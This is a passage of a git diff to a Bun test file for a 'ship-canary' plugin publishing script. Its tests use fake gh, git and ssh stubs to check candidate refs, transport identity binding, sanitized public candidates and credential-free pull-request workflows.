"usage" ? "missing" : "unavailable", + detail: failure.message, + repair: failure.repair, + }, + ], + nextAction: failure.repair, + } + emitResult(result, json) + process.exitCode = failure.category === "usage" ? 2 : 1 + } +} diff --git a/scripts/ship-canary.test.ts b/scripts/ship-canary.test.ts index 4231f3c..c5e3a6e 100644 --- a/scripts/ship-canary.test.ts +++ b/scripts/ship-canary.test.ts @@ -1,9 +1,33 @@ -import { chmodSync, cpSync, mkdirSync, mkdtempSync, writeFileSync } from "node:fs" +import { + chmodSync, + cpSync, + existsSync, + mkdirSync, + mkdtempSync, + readFileSync, + realpathSync, + rmSync, + writeFileSync, +} from "node:fs" import { tmpdir } from "node:os" import { basename, dirname, join, resolve } from "node:path" import { expect, test } from "bun:test" +import { + CanaryError, + PUBLISHING_SYSTEM_PATHS, + admitCandidateRef, + bindTransportIdentity, + bindTrustedPrivateRun, + candidateRefForSource, + classifyPublishingSystemChanges, + createSanitizedPublicCandidate, + qualifyTargets, + type CandidateInstallEvidence, + type Target, +} from "./ship-canary" + const root = resolve(import.meta.dir, "..") const ignoredEntries = new Set([".claude", ".dev", ".git", ".worktrees", "dist", "node_modules"]) @@ -44,8 +68,14 @@ function canaryFixture(): { temporaryRoot: string; fakeBin: string; log: string executable( join(fakeBin, "gh"), `#!/bin/sh -if [ "$1" = "api" ] && [ "$2" = "user" ]; then echo myagentdojo; exit 0; fi +if [ "$1" = "api" ] && [ "$2" = "user" ]; then + if [ "\${GH_TOKEN:-}" = "fake" ]; then echo "\${FAKE_HTTPS_SERVER_IDENTITY:-myagentdojo}"; else echo myagentdojo; fi + exit 0 +fi +if [ "$1" = "repo" ] && [ "$2" = "create" ]; then printf 'gh-create %s\n' "$*" >> "$FAKE_LOG"; exit 0; fi if [ "$1" = "repo" ] && [ "$2" = "view" ]; then + if [ "$FAKE_MISSING_REPO" = "1" ]; then exit 44; fi + if [ "$FAKE_WRONG_VISIBILITY" = "1" ]; then echo PRIVATE; exit 0; fi case "$3" in *public-canary) echo PUBLIC ;; *private-canary) echo PRIVATE ;; @@ -54,6 +84,8 @@ if [ "$1" = "repo" ] && [ "$2" = "view" ]; then exit 0 fi if [ "$1" = "run" ] && [ "$2" = "list" ]; then + if [ "$FAKE_HOSTED_HANG" = "1" ]; then sleep 10; exit 88; fi + if [ "$FAKE_HOSTED_FAILURE" = "1" ]; then echo '[{"databaseId":303,"status":"completed","conclusion":"failure","url":"https://github.com/failure/run/303"}]'; exit 0; fi case "$4" in *public-canary) echo '[{"databaseId":101,"status":"completed","conclusion":"success","url":"https://github.com/public/run/101"}]' ;; *private-canary) echo '[{"databaseId":202,"status":"completed","conclusion":"success","url":"https://github.com/private/run/202"}]' ;; @@ -63,20 +95,58 @@ if [ "$1" = "run" ] && [ "$2" = "list" ]; then fi echo "unexpected gh command: $*" >&2 exit 90 +`, + ) + executable( + join(fakeBin, "ssh"), + `#!/bin/sh +printf "Hi %s! You've successfully authenticated, but GitHub does not provide shell access.\n" "\${FAKE_TRANSPORT_IDENTITY:-myagentdojo}" >&2 +exit 1 `, ) executable( join(fakeBin, "git"), `#!/bin/sh -if [ "$1" = "remote" ] && [ "$2" = "get-url" ]; then echo git@github-myagentdojo:myagentdojo/dojo-hello.git; exit 0; fi +FAKE_LOG="\${FAKE_LOG:-${log}}" +if [ "$1" = "-c" ] && [ "$2" = "core.quotePath=false" ]; then shift 2; fi +if [ "$1" = "remote" ] && [ "$2" = "get-url" ]; then echo "\${FAKE_ORIGIN:-git@github-myagentdojo:myagentdojo/dojo-hello.git}"; exit 0; fi if [ "$1" = "rev-parse" ] && [ "$2" = "--verify" ]; then echo 0123456789abcdef0123456789abcdef01234567; exit 0; fi -if [ "$1" = "status" ] && [ "$2" = "--porcelain" ]; then exit 0; fi -if [ "$1" = "ls-remote" ]; then echo aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa refs/heads/main; exit 0; fi -if [ "$1" = "merge-base" ] && [ "$2" = "--is-ancestor" ]; then - if [ "$3" = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" ] && [ "$FAKE_DIVERGENT" = "1" ]; then exit 1; fi - exit 0 +if [ "$1" = "init" ]; then exit 0; fi +if [ "$1" = "add" ]; then exit 0; fi +if [ "$1" = "write-tree" ]; then printf 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\n'; exit 0; fi +if [ "$1" = "commit-tree" ]; then printf 'cccccccccccccccccccccccccccccccccccccccc\n'; exit 0; fi +if [ "$1" = "status" ] && [ "$2" = "--porcelain" ]; then + if [ "$3" = "--untracked-files=all" ] && [ "$FAKE_UNTRACKED_DISTRIBUTION" = "1" ]; then echo '?? plugin/injected.js'; fi + exit 0 +fi +if [ "$1" = "ls-files" ]; then + if [ "$FAKE_IGNORED_DISTRIBUTION" = "1" ]; then printf 'plugin/ignored-secret.txt\\0'; fi + exit 0 +fi +if [ "$1" = "diff" ] && [ "$2" = "--name-only" ]; then + if [ "$3" != "-z" ]; then exit 92; fi + if [ "$4" != "--diff-filter=ACMRTD" ]; then exit 93; fi + if [ "$5" != "--no-renames" ]; then exit 94; fi + if [ "$FAKE_RENAME" = "1" ]; then printf 'docs/package.ts\\0scripts/package.ts\\0'; exit 0; fi + if [ "$FAKE_UNUSUAL_DIFF" = "1" ]; then printf 'scripts/café.ts\\0scripts/line\nbreak.ts\\0'; exit 0; fi + if [ -n "\${FAKE_DIFF_PATH:-}" ]; then printf '%s\\0' "$FAKE_DIFF_PATH"; fi + exit 0 +fi +if [ "$1" = "credential" ] && [ "$2" = "fill" ]; then printf 'protocol=https\nhost=github.com\nusername=%s\npassword=fake\n' "\${FAKE_TRANSPORT_IDENTITY:-myagentdojo}"; exit 0; fi +if [ "$1" = "ls-remote" ]; then + case "$3" in *public-canary*) expected=cccccccccccccccccccccccccccccccccccccccc ;; *) expected=0123456789abcdef0123456789abcdef01234567 ;; esac + if [ "$FAKE_PUSH_RACE" = "same" ] && [ -s "$FAKE_LOG" ]; then printf '%s\t%s\n' "$expected" "$4"; fi + if [ "$FAKE_PUSH_RACE" = "different" ] && [ -s "$FAKE_LOG" ]; then printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\t%s\n' "$4"; fi + if [ "$FAKE_EXISTING_CANDIDATE" = "same" ]; then printf '%s\t%s\n' "$expected" "$4"; fi + if [ "$FAKE_EXISTING_CANDIDATE" = "different" ]; then printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\t%s\n' "$4"; fi + exit 0 +fi +if [ "$1" = "merge-base" ] && [ "$2" = "--is-ancestor" ]; then exit 0; fi +if [ "$1" = "push" ]; then + printf 'git-push-cwd=%s %s\n' "$(pwd)" "$*" >> "$FAKE_LOG" + if [ "$FAKE_PUSH_FAIL" = "1" ]; then exit 1; fi + exit 0 fi -if [ "$1" = "push" ]; then printf '%s\n' "$*" >> "$FAKE_LOG"; exit 0; fi echo "unexpected git command: $*" >&2 exit 91 `, @@ -94,8 +164,15 @@ function runCanary( cwd: fixture.temporaryRoot, env: { ...process.env, - ...extraEnvironment, FAKE_LOG: fixture.log, + GITHUB_ACTIONS: "true", + GITHUB_REPOSITORY: "myagentdojo/agent-plugin-template", + GITHUB_RUN_ID: "12345", + GITHUB_SERVER_URL: "https://github.com", + GITHUB_WORKFLOW_REF: "myagentdojo/agent-plugin-template/.github/workflows/hosted-canary.yml@refs/heads/main", + CANARY_QUALIFIED_SOURCE_SHA: "0123456789abcdef0123456789abcdef01234567", + CANARY_TRUSTED_WORKFLOW_SHA: "1111111111111111111111111111111111111111", + ...extraEnvironment, PATH: `${fixture.fakeBin}:${dirname(process.execPath)}:/usr/bin:/bin`, }, stdout: "pipe", @@ -103,6 +180,44 @@ function runCanary( }) } +function runTrustedCanary( + driverRoot: string, + driver: ReturnType, + sourceRoot: string, + mode: "--dry-run" | "--execute", + extraEnvironment: Record = {}, +): ReturnType { + return Bun.spawnSync({ + cmd: [ + process.execPath, + "run", + join(driverRoot, "scripts", "ship-canary.ts"), + mode, + "--source-root", + sourceRoot, + "--ref", + "HEAD", + "--json", + ], + cwd: driverRoot, + env: { + ...process.env, + FAKE_LOG: driver.log, + GITHUB_ACTIONS: "true", + GITHUB_REPOSITORY: "myagentdojo/agent-plugin-template", + GITHUB_RUN_ID: "12345", + GITHUB_SERVER_URL: "https://github.com", + GITHUB_WORKFLOW_REF: "myagentdojo/agent-plugin-template/.github/workflows/hosted-canary.yml@refs/heads/main", + CANARY_QUALIFIED_SOURCE_SHA: "0123456789abcdef0123456789abcdef01234567", + CANARY_TRUSTED_WORKFLOW_SHA: "1111111111111111111111111111111111111111", + ...extraEnvironment, + PATH: `${driver.fakeBin}:${dirname(process.execPath)}:/usr/bin:/bin`, + }, + stdout: "pipe", + stderr: "pipe", + }) +} + test("canary dry-run proves identity, visibility, and source without publishing", () => { const result = runCanary(canaryFixture(), "--dry-run") @@ -113,45 +228,674 @@ test("canary dry-run proves identity, visibility, and source without publishing" action: "preview", sideEffects: "none", identity: "myagentdojo", + transportIdentity: { kind: "ssh", identity: "myagentdojo", host: "github-myagentdojo" }, source: { ref: "origin/main", sha: "0123456789abcdef0123456789abcdef01234567", }, targets: [ - { repository: "myagentdojo/dojo-hello-public-canary", visibility: "PUBLIC" }, - { repository: "myagentdojo/dojo-hello-private-canary", visibility: "PRIVATE" }, + { + repository: "myagentdojo/dojo-hello-public-canary", + visibility: "PUBLIC", + candidateRef: "refs/heads/candidate/cccccccccccccccccccccccccccccccccccccccc", + candidateSha: "cccccccccccccccccccccccccccccccccccccccc", + }, + { + repository: "myagentdojo/dojo-hello-private-canary", + visibility: "PRIVATE", + candidateRef: "refs/heads/candidate/0123456789abcdef0123456789abcdef01234567", + candidateSha: "0123456789abcdef0123456789abcdef01234567", + }, + ], + }) + expect(result.stdout.toString()).not.toContain("public-canary-candidate-") +}) + +test("publishing-system paths require both hosted canaries and report every trigger", () => { + expect(PUBLISHING_SYSTEM_PATHS).toEqual([ + "package.json", + "plugin.config.json", + ".github/release-please-config.json", + ]) + const changedPaths = [ + "plugin.config.json", + "scripts/package.ts", + "scripts/release-validate.ts", + "scripts/release-impact.ts", + "scripts/init.ts", + "scripts/plugin-config.ts", + "scripts/plugin-files.ts", + "scripts/prove-harness-install.ts", + "scripts/ship-canary.ts", + ] + + expect(classifyPublishingSystemChanges(changedPaths)).toEqual({ + required: true, + triggeringPaths: changedPaths, + }) +}) + +test("new scripts and workflows fail closed into hosted canary qualification", () => { + const changedPaths = [ + "scripts/build.ts", + "scripts/generate.ts", + "scripts/future-publisher.ts", + ".github/workflows/codex-review-gate.yml", + ".github/workflows/future-release.yml", + ] + + expect(classifyPublishingSystemChanges(changedPaths)).toEqual({ + required: true, + triggeringPaths: changedPaths, + }) +}) + +test("recipient payload-only paths keep hosted canaries optional", () => { + expect( + classifyPublishingSystemChanges([ + "plugin/.claude-plugin/plugin.json", + "plugin/runtime/hello-world.js", + "runtime/src/hello-world.ts", + ]), + ).toEqual({ required: false, triggeringPaths: [] }) +}) + +test("classify diff filter includes deleted and type-changed publishing-system paths", () => { + const fixture = canaryFixture() + const result = Bun.spawnSync({ + cmd: [ + process.execPath, + "run", + "ship:canary", + "--", + "--classify", + "--base", + "base", + "--head", + "head", + "--json", ], + cwd: fixture.temporaryRoot, + env: { + ...process.env, + FAKE_DIFF_PATH: "scripts/package.ts", + PATH: `${fixture.fakeBin}:${dirname(process.execPath)}:/usr/bin:/bin`, + }, + stdout: "pipe", + stderr: "pipe", + }) + + expect(result.exitCode, result.stderr.toString()).toBe(0) + expect(JSON.parse(result.stdout.toString().trim())).toMatchObject({ + changedPaths: ["scripts/package.ts"], + canaries: { required: true, triggeringPaths: ["scripts/package.ts"] }, + }) +}) + +test("classify includes a publishing path renamed into documentation", () => { + const fixture = canaryFixture() + const result = Bun.spawnSync({ + cmd: [process.execPath, "run", "ship:canary", "--", "--classify", "--base", "base", "--head", "head", "--json"], + cwd: fixture.temporaryRoot, + env: { + ...process.env, + FAKE_RENAME: "1", + PATH: `${fixture.fakeBin}:${dirname(process.execPath)}:/usr/bin:/bin`, + }, + stdout: "pipe", + stderr: "pipe", + }) + + expect(result.exitCode, result.stderr.toString()).toBe(0) + expect(JSON.parse(result.stdout.toString())).toMatchObject({ + changedPaths: ["docs/package.ts", "scripts/package.ts"], + canaries: { required: true, triggeringPaths: ["scripts/package.ts"] }, + }) +}) + +test("classify preserves non-ASCII and newline Git path names", () => { + const fixture = canaryFixture() + const result = Bun.spawnSync({ + cmd: [process.execPath, "run", "ship:canary", "--", "--classify", "--base", "base", "--head", "head", "--json"], + cwd: fixture.temporaryRoot, + env: { + ...process.env, + FAKE_UNUSUAL_DIFF: "1", + PATH: `${fixture.fakeBin}:${dirname(process.execPath)}:/usr/bin:/bin`, + }, + stdout: "pipe", + stderr: "pipe", + }) + + expect(result.exitCode, result.stderr.toString()).toBe(0) + expect(JSON.parse(result.stdout.toString())).toMatchObject({ + changedPaths: ["scripts/café.ts", "scripts/line\nbreak.ts"], + canaries: { + required: true, + triggeringPaths: ["scripts/café.ts", "scripts/line\nbreak.ts"], + }, + }) +}) + +test("candidate config cannot redirect trusted canary targets", () => { + const fixture = canaryFixture() + const result = runTrustedCanary(root, fixture, fixture.temporaryRoot, "--dry-run") + + expect(result.exitCode).toBe(1) + expect(JSON.parse(result.stdout.toString())).toMatchObject({ + category: "canary_target_mismatch", + retrySafe: false, + }) +}) + +test("public publication uses sanitized bytes while private publication uses the source checkout", async () => { + const driver = canaryFixture() + const candidate = canaryFixture() + const result = runTrustedCanary( + driver.temporaryRoot, + driver, + candidate.temporaryRoot, + "--execute", + { FAKE_HOSTED_FAILURE: "1" }, + ) + + expect(result.exitCode).toBe(1) + expect(JSON.parse(result.stdout.toString())).toMatchObject({ category: "hosted_failure" }) + expect(await Bun.file(driver.log).text()).toContain("public-canary-candidate-") + expect(await Bun.file(driver.log).text()).toContain( + "cccccccccccccccccccccccccccccccccccccccc:refs/heads/candidate/cccccccccccccccccccccccccccccccccccccccc", + ) + expect(await Bun.file(driver.log).text()).toContain( + `git-push-cwd=${realpathSync(candidate.temporaryRoot)} push`, + ) + expect(await Bun.file(driver.log).text()).toContain( + "0123456789abcdef0123456789abcdef01234567:refs/heads/candidate/0123456789abcdef0123456789abcdef01234567", + ) +}) + +test("trusted preflight does not apply the base renderer to candidate-generated files", async () => { + const driver = canaryFixture() + const candidate = canaryFixture() + writeFileSync(join(candidate.temporaryRoot, "plugin", ".codex-plugin", "plugin.json"), "{}\n") + + const result = runTrustedCanary( + driver.temporaryRoot, + driver, + candidate.temporaryRoot, + "--execute", + ) + + expect(result.exitCode).toBe(1) + expect(JSON.parse(result.stdout.toString())).not.toMatchObject({ category: "generated_drift" }) + expect(await Bun.file(driver.log).text()).toContain("push") +}) + +test("public candidate rejects untracked distribution files before publication", () => { + const fixture = canaryFixture() + const result = runCanary(fixture, "--execute", { FAKE_UNTRACKED_DISTRIBUTION: "1" }) + + expect(result.exitCode).toBe(1) + expect(JSON.parse(result.stdout.toString())).toMatchObject({ + category: "dirty_checkout", + message: "untracked files are present in the public marketplace distribution", }) + expect(existsSync(fixture.log)).toBe(false) }) -test("canary dry-run rejects an existing target with unrelated history", () => { - const result = runCanary(canaryFixture(), "--dry-run", { FAKE_DIVERGENT: "1" }) +test("public candidate rejects an ignored secret before copying checkout bytes", () => { + const fixture = canaryFixture() + const result = runCanary(fixture, "--execute", { FAKE_IGNORED_DISTRIBUTION: "1" }) + + expect(result.exitCode).toBe(1) + expect(JSON.parse(result.stdout.toString())).toMatchObject({ + category: "dirty_checkout", + message: "ignored files are present in the public marketplace distribution", + retrySafe: false, + }) + expect(existsSync(fixture.log)).toBe(false) +}) + +test("hosted polling bounds a hung network child by the outer deadline", () => { + const fixture = canaryFixture() + const startedAt = Date.now() + const result = runCanary(fixture, "--execute", { + FAKE_HOSTED_HANG: "1", + CANARY_HOSTED_RUN_DEADLINE_MS: "120", + CANARY_NETWORK_COMMAND_TIMEOUT_MS: "25", + CANARY_HOSTED_POLL_DELAY_MS: "5", + }) + + expect(result.exitCode).toBe(1) + expect(Date.now() - startedAt).toBeLessThan(2000) + expect(JSON.parse(result.stdout.toString())).toMatchObject({ + category: "hosted_timeout", + message: expect.stringContaining("within 120 milliseconds"), + retrySafe: false, + }) +}) + +test("create-only candidate push accepts an identical winner but rejects a conflicting race", () => { + const same = runCanary(canaryFixture(), "--execute", { + FAKE_PUSH_FAIL: "1", + FAKE_PUSH_RACE: "same", + FAKE_HOSTED_FAILURE: "1", + }) + const different = runCanary(canaryFixture(), "--execute", { + FAKE_PUSH_FAIL: "1", + FAKE_PUSH_RACE: "different", + }) + + expect(same.exitCode).toBe(1) + expect(JSON.parse(same.stdout.toString())).toMatchObject({ category: "hosted_failure" }) + expect(different.exitCode).toBe(1) + expect(JSON.parse(different.stdout.toString())).toMatchObject({ + category: "candidate_ref_conflict", + }) +}) + +test("divergent PR heads receive distinct immutable candidate refs", () => { + const first = "1".repeat(40) + const second = "2".repeat(40) + + expect(candidateRefForSource(first)).toBe(`refs/heads/candidate/${first}`) + expect(candidateRefForSource(second)).toBe(`refs/heads/candidate/${second}`) + expect(candidateRefForSource(first)).not.toBe(candidateRefForSource(second)) +}) + +test("sanitized public candidates are deterministic root commits with no repository source", () => { + const sourceSha = "1".repeat(40) + const first = createSanitizedPublicCandidate(root, sourceSha) + const second = createSanitizedPublicCandidate(root, sourceSha) + try { + expect(first.sha).toBe(second.sha) + expect(first.environment).not.toHaveProperty("CANARY_GH_TOKEN") + expect(Object.keys(first.environment).sort()).toEqual([ + "GIT_AUTHOR_DATE", + "GIT_AUTHOR_EMAIL", + "GIT_AUTHOR_NAME", + "GIT_COMMITTER_DATE", + "GIT_COMMITTER_EMAIL", + "GIT_COMMITTER_NAME", + "GIT_CONFIG_GLOBAL", + "GIT_CONFIG_SYSTEM", + "HOME", + "PATH", + ]) + const tree = Bun.spawnSync({ + cmd: ["git", "ls-tree", "-r", "--name-only", first.sha], + cwd: first.repositoryRoot, + stdout: "pipe", + stderr: "pipe", + }) + expect(tree.exitCode, tree.stderr.toString()).toBe(0) + const paths = tree.stdout.toString().trim().split("\n") + expect(paths).toContain(".claude-plugin/marketplace.json") + expect(paths).toContain(".agents/plugins/marketplace.json") + expect(paths).toContain(".github/workflows/plugin-ci.yml") + expect(paths.some((path) => path.startsWith("plugin/"))).toBe(true) + expect(paths).not.toContain("plugin.config.json") + expect(paths.some((path) => path.startsWith("scripts/"))).toBe(false) + expect(paths).not.toContain("README.md") + const workflow = readFileSync(join(first.repositoryRoot, ".github/workflows/plugin-ci.yml"), "utf8") + expect(workflow).toContain("name: Prove and package plugin") + expect(workflow).toContain('branches:\n - "candidate/**"') + expect(workflow).toContain("persist-credentials: false") + expect(workflow).not.toContain("bun run") + const parents = Bun.spawnSync({ + cmd: ["git", "rev-list", "--parents", "-n", "1", first.sha], + cwd: first.repositoryRoot, + stdout: "pipe", + }) + expect(parents.stdout.toString().trim()).toBe(first.sha) + } finally { + rmSync(first.temporaryRoot, { recursive: true, force: true }) + rmSync(second.temporaryRoot, { recursive: true, force: true }) + } +}) + +test("candidate retry accepts only the same commit at the immutable ref", () => { + const sourceSha = "1".repeat(40) + const candidateRef = candidateRefForSource(sourceSha) + + expect(admitCandidateRef(candidateRef, sourceSha, sourceSha)).toEqual({ + candidateRef, + state: "current", + }) + expect(() => admitCandidateRef(candidateRef, sourceSha, "2".repeat(40))).toThrow( + "immutable candidate ref", + ) + try { + admitCandidateRef(candidateRef, sourceSha, "2".repeat(40)) + } catch (error) { + expect(error).toBeInstanceOf(CanaryError) + expect((error as CanaryError).nextAction).toContain("never rewrite history") + expect((error as CanaryError).retrySafe).toBe(false) + } +}) + +test("remote candidate retry reports current or immutable conflict without rewriting", () => { + const current = runCanary(canaryFixture(), "--dry-run", { + FAKE_EXISTING_CANDIDATE: "same", + }) + expect(current.exitCode).toBe(0) + expect(JSON.parse(current.stdout.toString()).targets[0]).toMatchObject({ + candidateState: "current", + candidateSha: "cccccccccccccccccccccccccccccccccccccccc", + headSha: "cccccccccccccccccccccccccccccccccccccccc", + }) + + const conflict = runCanary(canaryFixture(), "--dry-run", { + FAKE_EXISTING_CANDIDATE: "different", + }) + expect(conflict.exitCode).toBe(1) + expect(JSON.parse(conflict.stdout.toString())).toMatchObject({ + category: "candidate_ref_conflict", + retrySafe: false, + }) +}) + +test("transport identity mismatch fails before repository mutation", async () => { + const fixture = canaryFixture() + const result = runCanary(fixture, "--execute", { FAKE_TRANSPORT_IDENTITY: "nathanvale" }) expect(result.exitCode).toBe(1) const failure = JSON.parse(result.stdout.toString().trim()) expect(failure).toMatchObject({ ok: false, - category: "target_lineage_mismatch", + category: "transport_identity_mismatch", retrySafe: false, }) expect(failure.runId).toBeString() + expect(await Bun.file(fixture.log).exists()).toBe(false) }) -test("canary execute publishes both targets and waits for both hosted proofs", async () => { +test("canary actor may publish repositories owned by an organization", () => { const fixture = canaryFixture() - const result = runCanary(fixture, "--execute") + const configPath = join(fixture.temporaryRoot, "plugin.config.json") + const config = JSON.parse(readFileSync(configPath, "utf8")) + config.canary.owner = "myagentdojo-org" + config.canary.actor = "myagentdojo" + writeFileSync(configPath, `${JSON.stringify(config, null, 2)}\n`) + const result = runCanary(fixture, "--dry-run") expect(result.exitCode, result.stderr.toString()).toBe(0) - const output = JSON.parse(result.stdout.toString().trim()) - expect(output).toMatchObject({ - ok: true, - action: "published", - sideEffects: "github-repositories-updated", + expect(JSON.parse(result.stdout.toString())).toMatchObject({ + identity: "myagentdojo", + transportIdentity: { identity: "myagentdojo" }, + targets: [ + { repository: "myagentdojo-org/dojo-hello-public-canary" }, + { repository: "myagentdojo-org/dojo-hello-private-canary" }, + ], + }) +}) + +test("SSH and HTTPS transport identity bind independently from gh identity", () => { + expect(bindTransportIdentity("myagentdojo", "myagentdojo", "myagentdojo", "ssh")).toEqual({ + kind: "ssh", + identity: "myagentdojo", + }) + expect(bindTransportIdentity("myagentdojo", "myagentdojo", "myagentdojo", "https")).toEqual({ + kind: "https", + identity: "myagentdojo", + }) + expect(() => + bindTransportIdentity("myagentdojo", "nathanvale", "myagentdojo", "https"), + ).toThrow("Git transport identity") +}) + +test("HTTPS preflight authenticates the exact credential-helper token without publishing", () => { + const result = runCanary(canaryFixture(), "--dry-run", { + FAKE_ORIGIN: "https://github.com/myagentdojo/dojo-hello.git", + }) + + expect(result.exitCode, result.stderr.toString()).toBe(0) + expect(JSON.parse(result.stdout.toString())).toMatchObject({ + transportIdentity: { + kind: "https", + identity: "myagentdojo", + host: "github.com", + }, + }) +}) + +test("HTTPS preflight rejects a helper token owned by another GitHub user", () => { + const result = runCanary(canaryFixture(), "--dry-run", { + FAKE_ORIGIN: "https://github.com/myagentdojo/dojo-hello.git", + FAKE_HTTPS_SERVER_IDENTITY: "nathanvale", + }) + + expect(result.exitCode).toBe(1) + expect(JSON.parse(result.stdout.toString())).toMatchObject({ + category: "transport_identity_mismatch", + retrySafe: false, + }) + expect(result.stdout.toString()).not.toContain("password=fake") +}) + +function targets(sourceSha: string): Target[] { + const publicSha = "2".repeat(40) + return [ + { + repository: "myagentdojo/public-canary", + visibility: "PUBLIC", + remote: "git@example.invalid:myagentdojo/public-canary.git", + exists: true, + candidateRef: candidateRefForSource(publicSha), + candidateState: "missing", + candidateSha: publicSha, + publicationRoot: "/tmp/public-canary", + }, + { + repository: "myagentdojo/private-canary", + visibility: "PRIVATE", + remote: "git@example.invalid:myagentdojo/private-canary.git", + exists: true, + candidateRef: candidateRefForSource(sourceSha), + candidateState: "missing", + candidateSha: sourceSha, + publicationRoot: "/tmp/private-canary", + }, + ] +} + +function installEvidence(target: Target, candidateSha: string): CandidateInstallEvidence { + return { + repository: target.repository, + candidateRef: target.candidateRef, + checkoutSha: candidateSha, + manifestVersion: "0.1.0", + claude: { + mode: "native-hosted-marketplace", + version: "0.1.0", + cachedPayloadMatches: true, + }, + codex: { + mode: "native-hosted-marketplace", + version: "0.1.0", + cachedPayloadMatches: true, + }, + } +} + +test("public and private candidates pass hosted proof then native cache comparison", async () => { + const sourceSha = "1".repeat(40) + const calls: string[] = [] + const result = await qualifyTargets(targets(sourceSha), sourceSha, { + publish: (target) => calls.push(`publish:${target.visibility}`), + hostedProof: async (target) => { + calls.push(`hosted:${target.visibility}`) + return { + repository: target.repository, + databaseId: target.visibility === "PUBLIC" ? 101 : 202, + conclusion: "success", + url: `https://example.invalid/${target.visibility}`, + sourceSha: target.candidateSha, + workflowSha: "3".repeat(40), + authority: target.visibility === "PUBLIC" ? "candidate-sanitized-workflow" : "protected-trusted-workflow", + } + }, + install: (target, candidateSha) => { + calls.push(`install:${target.visibility}`) + return installEvidence(target, candidateSha) + }, + }) + + expect(result).toMatchObject({ runs: [ - { repository: "myagentdojo/dojo-hello-public-canary", conclusion: "success" }, - { repository: "myagentdojo/dojo-hello-private-canary", conclusion: "success" }, + { repository: "myagentdojo/public-canary", conclusion: "success" }, + { repository: "myagentdojo/private-canary", conclusion: "success" }, + ], + installs: [ + { repository: "myagentdojo/public-canary", checkoutSha: "2".repeat(40) }, + { repository: "myagentdojo/private-canary", checkoutSha: sourceSha }, ], }) - const pushes = await Bun.file(fixture.log).text() - expect(pushes.match(/^push /gm)).toHaveLength(2) + expect(calls).toEqual([ + "publish:PUBLIC", + "publish:PRIVATE", + "hosted:PUBLIC", + "install:PUBLIC", + "install:PRIVATE", + "hosted:PRIVATE", + ]) + expect(JSON.stringify(result).toLowerCase()).not.toContain("universal-directory") +}) + +test("repository, visibility, hosted CI, and install failures carry non-rewriting repairs", async () => { + const missing = runCanary(canaryFixture(), "--dry-run", { FAKE_MISSING_REPO: "1" }) + expect(missing.exitCode).toBe(0) + expect(JSON.parse(missing.stdout.toString()).targets[0].repairAction).toContain("create") + + const visibility = runCanary(canaryFixture(), "--dry-run", { + FAKE_WRONG_VISIBILITY: "1", + }) + expect(visibility.exitCode).toBe(1) + expect(JSON.parse(visibility.stdout.toString())).toMatchObject({ + category: "visibility_mismatch", + retrySafe: false, + }) + + const sourceSha = "1".repeat(40) + const hostedFailure = new CanaryError( + "hosted_failure", + "hosted proof failed", + "inspect the hosted run; never rewrite history", + ) + await expect( + qualifyTargets(targets(sourceSha), sourceSha, { + publish: () => {}, + hostedProof: async () => { + throw hostedFailure + }, + install: (target, candidateSha) => installEvidence(target, candidateSha), + }), + ).rejects.toBe(hostedFailure) + expect(hostedFailure.nextAction).toContain("never rewrite history") + + await expect( + qualifyTargets(targets(sourceSha), sourceSha, { + publish: () => {}, + hostedProof: async (target) => ({ + repository: target.repository, + databaseId: 1, + conclusion: "success", + url: "https://example.invalid/run/1", + sourceSha: target.candidateSha, + workflowSha: "3".repeat(40), + authority: target.visibility === "PUBLIC" ? "candidate-sanitized-workflow" : "protected-trusted-workflow", + }), + install: (target, candidateSha) => ({ + ...installEvidence(target, candidateSha), + codex: { ...installEvidence(target, candidateSha).codex, cachedPayloadMatches: false }, + }), + }), + ).rejects.toMatchObject({ + category: "install_mismatch", + retrySafe: false, + }) +}) + +test("private qualification rejects candidate-controlled workflow receipts", () => { + const sourceSha = "1".repeat(40) + const privateTarget = targets(sourceSha)[1] + const environment = { + GITHUB_ACTIONS: "true", + GITHUB_REPOSITORY: "myagentdojo/agent-plugin-template", + GITHUB_RUN_ID: "12345", + GITHUB_SERVER_URL: "https://github.com", + GITHUB_WORKFLOW_REF: "myagentdojo/agent-plugin-template/.github/workflows/hosted-canary.yml@refs/heads/main", + CANARY_TRUSTED_WORKFLOW_SHA: "2".repeat(40), + CANARY_QUALIFIED_SOURCE_SHA: "9".repeat(40), + } + + expect(() => bindTrustedPrivateRun(privateTarget, sourceSha, environment)).toThrow( + "not bound to the protected hosted-canary workflow and source commit", + ) + expect( + bindTrustedPrivateRun(privateTarget, sourceSha, { + ...environment, + CANARY_QUALIFIED_SOURCE_SHA: sourceSha, + }), + ).toMatchObject({ + repository: privateTarget.repository, + databaseId: 12345, + sourceSha, + workflowSha: "2".repeat(40), + authority: "protected-trusted-workflow", + }) +}) + +test("untrusted PR workflow always reports without canary credentials", () => { + const workflow = readFileSync(join(root, ".github", "workflows", "plugin-ci.yml"), "utf8") + + expect(workflow).toContain("pull_request:") + expect(workflow).not.toContain("pull_request:\n paths:") + expect(workflow).toContain("candidate/**") + expect(workflow).not.toContain("CANARY_GH_TOKEN") + expect(workflow).not.toContain("CANARY_SSH_PRIVATE_KEY") + expect(workflow).not.toContain("environment: hosted-canary-qualification") + expect(workflow).toContain("bun run generate:check") + expect(workflow).toContain("@anthropic-ai/claude-code@2.1.222") + expect(workflow).toContain("@openai/codex@0.146.1") + expect(workflow).toContain("bun run prove:harness-install -- --require-native") +}) + +test("privileged canary workflow executes trusted code and treats the PR checkout as data", () => { + const workflow = readFileSync(join(root, ".github", "workflows", "hosted-canary.yml"), "utf8") + + expect(workflow).toContain("pull_request_target:") + expect(workflow).not.toContain("checks: write") + expect(workflow).not.toContain("/check-runs") + expect(workflow).toContain(" result:\n name: Hosted public and private Git canaries\n if: always()") + expect(workflow).toContain("ref: ${{ github.event.pull_request.base.sha }}") + expect(workflow).toContain("ref: ${{ github.event.pull_request.head.sha }}") + expect(workflow).toContain("HEAD_REPOSITORY: ${{ github.event.pull_request.head.repo.full_name }}") + expect(workflow).toContain('git fetch --no-tags "https://github.com/${HEAD_REPOSITORY}.git" "$HEAD_SHA"') + expect(workflow).not.toContain('git fetch --no-tags origin "$HEAD_SHA"') + expect(workflow).toContain("path: candidate") + expect(workflow).toContain("persist-credentials: false") + expect(workflow).toContain("--source-root 